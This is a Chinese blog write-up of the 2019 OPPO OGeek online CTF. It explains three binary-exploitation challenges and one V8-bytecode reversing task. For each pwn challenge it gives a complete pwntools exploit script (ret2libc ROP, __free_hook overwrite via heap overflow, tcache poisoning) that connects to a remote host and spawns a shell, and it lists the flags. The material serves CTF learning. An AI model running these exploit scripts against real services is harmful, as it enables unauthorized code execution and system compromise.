avatar

CTF-19年OPPO_OGeek_线上赛

PWN1 babyrop

第一个read发现溢出一位,刚好覆盖返回值,返回值又作为第二个read的size参数,所以我们可以0xff,使得read打到最大,然后elf.plt.puts来libc leak,然后ret到main(ret到__libc_start_main会崩溃),然后按照老办法覆盖0xff,第二个read溢出直接ret2libc,执行system(“/bin/sh\x00”)

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("babyrop")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./babyrop")
lib = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
sleep(0.2)
#0x080487CF
pop3_ret = 0x080488f9
sh.send('\x00' + "a" * 6 + "\xff"*4 + "\n")
sleep(0.2)
sh.recvuntil("Correct\n")
offset = 0xE7 + 4
payload = offset * 'a'
payload += p32(elf.plt['write'])
payload += p32(pop3_ret)
payload += p32(1)
payload += p32(elf.got['__libc_start_main'])
payload += p32(4)
payload += p32(0x08048825)
#0x08048824
sh.send(payload)
__libc_start_main = u32(sh.recv(4))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system']
binsh = libc + lib.search("/bin/sh\x00").next()
sleep(0.2)
#0x080487CF
pop3_ret = 0x080488f9
sh.send('\x00' + "a" * 6 + "\xff"*4 + "\n")
sleep(0.2)
sh.recvuntil("Correct\n")
offset = 0xE7 + 4
payload = offset * 'a'
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sh.send(payload)
log.success("__libc_start_main: " + hex(__libc_start_main))
log.success("binsh: " + hex(binsh))
log.success("system: " + hex(system))
sh.interactive()
if __name__ == "__main__":
pwn("47.112.137.238",13337,0)

Flag: flag{BXCTFKKAZ8!bw&kN}

PWN2 bookmanage

发现edit功能有明显的堆溢出,无论你堆块申请什么都是read_input(chunk_list,0x100),而且没有末尾置0,所以可以先free一个unsorted bin,然后连接字符串到libc,然后show就可以看到libc了,然后再edit复原,复原的同时覆盖bk为__free_hook – 0x50,造出一个0x7f的fastbin的size位,然后再申请一个0x68的fastbin,并free掉,通过edit功能修改fd位为0x7f的size的fake_chunk处,即可覆盖__free_hook为system,然后同时保证一个堆块是/bin/sh\x00的字符串即可拿到shell

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("bookmanager")
sh = 0
lib = 0
def createName(name):
sh.recvuntil(":")
sh.send(name)
def addChapter(name):
sh.recvuntil("choice:")
sh.sendline("1")
sh.recvuntil(":")
sh.send(name)
def addSection(name,content):
sh.recvuntil("choice:")
sh.sendline("2")
sh.recvuntil(":")
sh.send(name)
sh.recvuntil("0x")
data = int(sh.recvuntil("\n",True),16)
sh.send(content)
return data
def addText(s,size,name):
sh.recvuntil("choice:")
sh.sendline("3")
sh.recvuntil(":")
sh.send(s)
sh.recvuntil(":")
sh.sendline(str(size))
sh.recvuntil(":")
sh.send(name)
return name
def freeChapter(name):
sh.recvuntil("choice:")
sh.sendline("4")
sh.recvuntil(":")
sh.send(name)
def freeSection(name):
sh.recvuntil("choice:")
sh.sendline("5")
sh.recvuntil(":")
sh.send(name)
def freeText(name):
sh.recvuntil("choice:")
sh.sendline("6")
sh.recvuntil(":")
sh.send(name)
def show():
sh.recvuntil("choice:")
sh.send("7")
def edit(s,name,content):
type_list = ['Chapter','Section','Text']
sh.recvuntil("choice:")
sh.sendline("8")
sh.recvuntil(":")
sh.sendline(type_list[s])
sh.recvuntil(":")
sh.send(name)
sh.recvuntil(":")
sh.send(content)
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./bookmanager")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
createName("fuckyou")
addChapter("\x11" * 0x10)
addSection('\x11' * 0x10,'\x12' * 0x10)
addText("\x12" * 0x10,0x68,'\x13' * 0x18)
addChapter('\x21' * 0x10)
addSection("\x21" * 0x10,'\x22' * 0x10)
addText('\x22' * 0x10,0x18,'\x23' * 0x18)
freeText('\x22' * 0x10)
addText('\x22' * 0x10,0x68,'\x24' * 0x10)
freeChapter('\x21' * 0x10)
freeSection('\x22' * 0x10)
freeText('\x12' * 0x10)
payload = '\x14' * 0x68
payload += '\x14' * 8
addText('\x12' * 0x10,0x68,payload)
show()
sh.recvuntil(payload)
main_arena = u64(sh.recv(6).ljust(8,'\x00')) - 88
libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
system = libc + lib.symbols['system']
__free_hook = libc + lib.symbols['__free_hook']
payload = '\x14' * 0x68
payload += p64(0x91)
payload += p64(main_arena + 88) + p64(__free_hook - 0x40 - 0x10)
payload += '\x00' * 0x70
payload += p64(0x90)
payload += p64(0x40)
edit(2,'\x12' * 0x10,payload)
addChapter('\x21' * 0x10)
addSection("\x21" * 0x10,'/bin/sh\x00')

addText("\x12" * 0x10,0x18,'\x25' * 0x10)
payload = '\x25' * 0x18 + p64(0x71) + p64(__free_hook - 0x43) * 2
payload += p64(0) * 10 + p64(0) + p64(0x20cd1)
edit(2,'\x12' * 0x10,payload)
addText("\x12" * 0x10,0x68,'\x16' * 0x68)
payload = '\x00' *3
payload += p64(0) * 6 + p64(system)
addText("\x12" * 0x10,0x68,"\n")
edit(2,'\x12' * 0x10,payload)
freeSection('/bin/sh\x00')
#addText("\x12" * 0x10,0x68,'\x15' * 0x10)
log.success("system: " + hex(system))
log.success("libc: " + hex(libc))
log.success("main_arena: " + hex(main_arena))
#x/50gx (long long)(&__free_hook) - 0x60
#gdb.attach(sh)
sh.interactive()
if __name__ == "__main__":
pwn("47.112.115.30",13337,0)

PWN3 hub

程序逻辑很简单,就是malloc、free、edit8个字节,但是free功能可以堆块任意地址free,先测试一下tcache攻击的poc,因为我不知道远程是否为libc2.27,然后经过测试是2.27的libc。首先申请一个0xa8的堆块把堆地址抬到0x300低位,且将0xa8的堆块double free后期会用到,然后开始申请申请一个0x80的堆块,然后再申请一个0x8的堆块,然后tcache attack,覆盖低位地址打回0x80的地址,然后free8次,即可libc leak。

然后利用已有堆块上的libc地址,tcache attack攻击__free_hook,注意这里会有一位数字不知道,也就是4个位即16分之一的概率bypass,然后edit为elf.plt.puts,这样在申请一个0x80的堆块再free即可libc leak,这样就知道了system的地址和__free_hook的地址,然后利用一开始的0xa8堆块的double free,tcache attack到__free_hook并覆盖为system,然后申请一个堆块,edit为/bin/sh\x00,然后free,即可执行system(“/bin/sh\x00”)

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("hub_2bcab892e2e5b54edbef4ccecd6f373f")
sh = 0
lib = 0
def add(size):
sh.recvuntil(">>")
sh.sendline("1")
sh.recvuntil("?")
sh.sendline(str(size))
def free(idx):
sh.recvuntil(">>")
sh.sendline("2")
sh.recvuntil("?")
sh.sendline(str(idx))
def edit(content):
sh.recvuntil(">>")
sh.sendline("3")
sh.recvuntil("?")
sh.send(content)
def pwn(ip,port,debug):
global sh
global lib
while True:
try:
if(debug == 1):
sh = process("./hub_2bcab892e2e5b54edbef4ccecd6f373f")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc.so.6")
add(0xa8)
free(0)
free(0)
add(0x80)
add(0x8)
for i in range(8):
free(-0x90)
add(0x98)
free(0)
free(0)
add(0x98)
edit('\x10')
add(0x98)
add(0x98)
if debug != 0:
log.success("pid = " + str(sh.pid))
#data = input()
#edit(chr(data%0x100) + chr(data>>8))
edit('\xe8\x88')
add(0x80)
add(0x80)
edit(p64(elf.plt['puts']))
add(0x80)
free(0)
__free_hook = u64(sh.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,'\x00'))
libc = __free_hook - lib.symbols['__free_hook']
system = libc + lib.symbols['system']
if(__free_hook <= 0):
sh.close()
continue
#edit(p64(0xdeadbeef))
#x/50gx &__malloc_hook
#x/50gx &__free_hook
#gdb.attach(sh
#0x400A49
break
except EOFError:
sh.close()
continue
else:
break
add(0xa8)
edit(p64(__free_hook))
add(0xa8)
add(0xa8)
edit(p64(system))
add(0x200)
edit('/bin/sh\x00')


free(0)
log.success("system: " + hex(system))
log.success("__free_hook: " + hex(__free_hook))
log.success("libc: " + hex(libc))
if debug != 0:
log.success("pid = " + str(sh.pid))
sh.interactive()
if __name__ == "__main__":
pwn("47.112.139.218",13132,0)

打进去之后没有回显,只能猜flag的位置,猜测在/home/flag

Flag: flag{ec56e9e92ecd5481304e047a798aa15bcde501caf2bcbc5c65402b3b}

据说大师傅们有一个io的做法来libc leak,tql膜拜一下

Reverse 8v

下载过来一个文档,然后去知乎和谷歌上找各种指令的作用

https://zhuanlan.zhihu.com/p/28590489

https://blog.zsxsoft.com/post/37

看到了一些很关键的运算操作,而且文件结果有一个类似于encode的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
179 S> 0x39bf06f1f3b8 @   22 : 0c 58             LdaSmi [88]
282 E> 0x39bf06f1f3f8 @ 86 : 3b f8 0f BitwiseXor r3, [15]
265 E> 0x39bf06f1f3fb @ 89 : 30 fa f9 16 StaKeyedProperty r1, r2, [22]
288 S> 0x39bf06f1f3ff @ 93 : 13 04 14 LdaGlobal [4], [20]
296 E> 0x39bf06f1f402 @ 96 : 42 41 1a MulSmi [65], [26]
301 E> 0x39bf06f1f405 @ 99 : 40 42 19 AddSmi [66], [25]

376 E> 0x39bf06f1f453 @ 177 : 3b f8 1e BitwiseXor r3, [30]
370 E> 0x39bf06f1f456 @ 180 : 30 fa f9 21 StaKeyedProperty r1, r2, [33]
382 S> 0x39bf06f1f45a @ 184 : 13 04 14 LdaGlobal [4], [20]
390 E> 0x39bf06f1f45d @ 187 : 42 23 25 MulSmi [35], [37]
395 E> 0x39bf06f1f460 @ 190 : 41 10 24 SubSmi [16], [36]
401 E> 0x39bf06f1f463 @ 193 : 00 44 00 01 23 00 ModSmi.Wide [256], [35]

总结一下就是以下两个式子

1
2
((byte1)*65+66)%256
((byte2) *35 - 16)%256

但是其实里面还有一个逆序,一开始没有看出来,具体脚本如下

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
key = 88
list1 = []
list2 = []
list3 = []
flag = ''
encrypto=b'\xd2"\xf1\x8d\xb7\xe0\xd0MF\x87T?\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;'
for i in range(0,len(encrypto)):
list3.append(ord(encrypto[i:i+1]))
print list3
list1.append(key)
for i in range(0,len(encrypto)):
list1.append((list1[i] * 65 + 66)%256)
print list1
p = list1[len(list1) - 1]
list2.append(p)
for i in range(0,len(encrypto)-1):
list2.append((list2[i] * 35 - 16)%256)
list2.reverse()
print list2
for i in range(0,len(encrypto)):
flag += (chr(list3[i]^list1[i]^list2[i]))
print flag

Flag: flag{V8_ByteCode_is_Very_Easy}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/08/30/CTF-19%E5%B9%B4OPPO_OGeek_%E7%BA%BF%E4%B8%8A%E8%B5%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论